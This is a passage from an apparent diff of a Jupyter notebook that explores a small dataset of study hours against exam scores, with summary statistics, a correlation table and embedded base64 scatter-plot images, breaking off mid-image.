"stdout", - "output_type": "stream", - "text": [ - "\n", - "RangeIndex: 25 entries, 0 to 24\n", - "Data columns (total 2 columns):\n", - " # Column Non-Null Count Dtype \n", - "--- ------ -------------- ----- \n", - " 0 Hours 25 non-null float64\n", - " 1 Scores 25 non-null int64 \n", - "dtypes: float64(1), int64(1)\n", - "memory usage: 528.0 bytes\n" - ] - } - ], - "source": [ - "df.info()" - ] - }, - { - "cell_type": "code", - "execution_count": 8, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
HoursScores
count25.00000025.000000
mean5.01200051.480000
std2.52509425.286887
min1.10000017.000000
25%2.70000030.000000
50%4.80000047.000000
75%7.40000075.000000
max9.20000095.000000
\n", - "
" - ], - "text/plain": [ - " Hours Scores\n", - "count 25.000000 25.000000\n", - "mean 5.012000 51.480000\n", - "std 2.525094 25.286887\n", - "min 1.100000 17.000000\n", - "25% 2.700000 30.000000\n", - "50% 4.800000 47.000000\n", - "75% 7.400000 75.000000\n", - "max 9.200000 95.000000" - ] - }, - "execution_count": 8, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.describe()" - ] - }, - { - "cell_type": "code", - "execution_count": 9, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Hours\n", - "1.1 17.0\n", - "1.5 20.0\n", - "1.9 24.0\n", - "2.5 25.5\n", - "2.7 27.5\n", - "3.2 27.0\n", - "3.3 42.0\n", - "3.5 30.0\n", - "3.8 35.0\n", - "4.5 41.0\n", - "4.8 54.0\n", - "5.1 47.0\n", - "5.5 60.0\n", - "5.9 62.0\n", - "6.1 67.0\n", - "6.9 76.0\n", - "7.4 69.0\n", - "7.7 85.0\n", - "7.8 86.0\n", - "8.3 81.0\n", - "8.5 75.0\n", - "8.9 95.0\n", - "9.2 88.0\n", - "Name: Scores, dtype: float64" - ] - }, - "execution_count": 9, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.groupby(['Hours'])['Scores'].mean()" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Exploring the dataset" - ] - }, - { - "cell_type": "code", - "execution_count": 10, - "metadata": {}, - "outputs": [ - { - "data": { - "image/png": "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", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "plt.scatter(df['Hours'], df['Scores'], color='Blue',marker='o')\n", - "plt.title(\"Hours Vs Scores\")\n", - "plt.xlabel(\"Hours studied\")\n", - "plt.ylabel(\"Percentage Scoreed\")\n", - "plt.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 11, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
HoursScores
Hours1.0000000.976191
Scores0.9761911.000000
\n", - "
" - ], - "text/plain": [ - " Hours Scores\n", - "Hours 1.000000 0.976191\n", - "Scores 0.976191 1.000000" - ] - }, - "execution_count": 11, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.corr()" - ] - }, - { - "cell_type": "code", - "execution_count": 12, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Text(0.5, 1, 'Plotting the regression line')" - ] - }, - "execution_count": 12, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "iVBORw0KGgoAAAANSUhEUgAAAWAAAAFwCAYAAACGt6HXAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4xLjMsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy+AADFEAAAgAElEQVR4nO3dd3zb5bn//9elYUvesRM7zh5kJ06AMAqUpuwZVlLya88pHefQntNzGAXCLGWXVUr67WkLp3SdtqwQCHuPFFpGgMTZBLIT73hbW/fvD8nBtiRLTizJtq7n45GHbemjj27LyTsf37rv6xJjDEoppVLPku4BKKVUptIAVkqpNNEAVkqpNNEAVkqpNNEAVkqpNNEAVkqpNNEAziAi8raI/Fs/nu+3IvKT/jpfnOf6joi8m4rnGohE5Fsi8moSzrtARPZ0+XqDiCzo7+dR0WkADzEiskNEXCLSJiI1IvIHEcnr4zkmiIgREVuX2yIC0BjzQ2PM7f019t6eP9MZY/5qjDktBc8zyxjzdrKfR4VoAA9N5xpj8oAjgKOAm9I8ngGtv4Ne/+NQidIAHsKMMXuBl4DZPe8TEYuI3CQiO0WkVkT+LCKF4btXhT82ha+kvwL8FvhK+Oum8Dn+KCJ3hD9fICJ7ROSq8PmqROS7XZ6vRESeE5EWEflIRO7oZUoh2vN3nud+EWkUke0icmaX2wtF5JHw8+4Nn98a7eQicouILBeRv4hIC/Cd8OtxnYh8ISINIvKEiBR3ecy3w69Vg4j8JPybxikHcz4RcYSPbRCRpvDrURa+7zsisk1EWsPf47e63P5ul/EcF35cc/jjcV3ue1tEbheR98LneVVEhsd4rXu+Nj2/ryfCfzdaw9MT87scO0pEnhKRuvBYL0vkOdSXNICHMBEZC5wFfBrl7u+E/3wdmATkAb8K33di+GORMSbPGPNP4IfAP8NfF8V4ypFAITAa+D7wPyIyLHzf/wDt4WMuCf+JJdrzAxwDbAGGA/cCj4iIhO/7E+AHDgMOB04DepvvPg9YDhQBfwUuA84HvgaMAhrDY0ZEZgK/Br4FlHf5Hg/qfOHvvRAYC5QQem1dIpIL/BI40xiTDxwHrOk58HCQvxA+tgR4AHhBREq6HPZN4LtAKZAFXN3La9GbhcBj4e/rWcJ/R0TEAjwHrCX0WpwMXCEipx/k82QmY4z+GUJ/gB1AG9AE7CQUHM7wfW8D/xb+/A3gP7s8bhrgA2zABMAAti73fwd4t8dz/RG4I/z5AsDV4zG1wLGANXzuaV3uu6Pn+brcF+v5P+/ydU74mJFAGeDp/D7D9/9/wFsxzn8LsKrHbZuAk7t8Xd7l9bgZeLTHc3uBUw7yfN8D/gFU9HhMbvjndlHX76Xn6w/8K/Bhj/v/CXyny8/5pi73/SfwcozXYgGwp8ffn67f1+td7psJuMKfHwPs6nGu64E/pPvfwGD6o3NVQ9P5xpjX4xwzilBAd9pJKBzKDuF5G4wx/i5fdxC6sh4RPvfuLvd1/TxR1Z2fGGM6whe/eUAxYAeqvrwgxhLnOXreNx54WkSCXW4LEHo9RnU9PvzcDYdwvv8jdPX7mIgUAX8BbjTGtIvIxYSuVh8RkfeAq4wxm3ucu+fPjvDXXa/Kq7t83vlzOBg9z+MIz3GPB0Z1TkeFWYG/H+TzZCSdgshc+wj9I+o0jtCv8DWErix7OpSyeXXhc4/pctvYXo7v63PtJnQFPNwYUxT+U2CMmdWH59hN6Ff/oi5/HCY0j17Vdewi4iT0q/9Bnc8Y4zPG3GqMmUlomuEc4NsAxphXjDGnErpi3gz8b5Sx9/zZQejnt7eX77e/7Qa29/j+8o0xZ6VwDIOeBnDmehS4UkQmSmiZ2l3A4+Er2DogSGhuuFMNMEZEsvr6RMaYALACuEVEckRkOuHAiSHa8/d2/irgVeDnIlIQfgNssoh8rQ/D/C1wp4i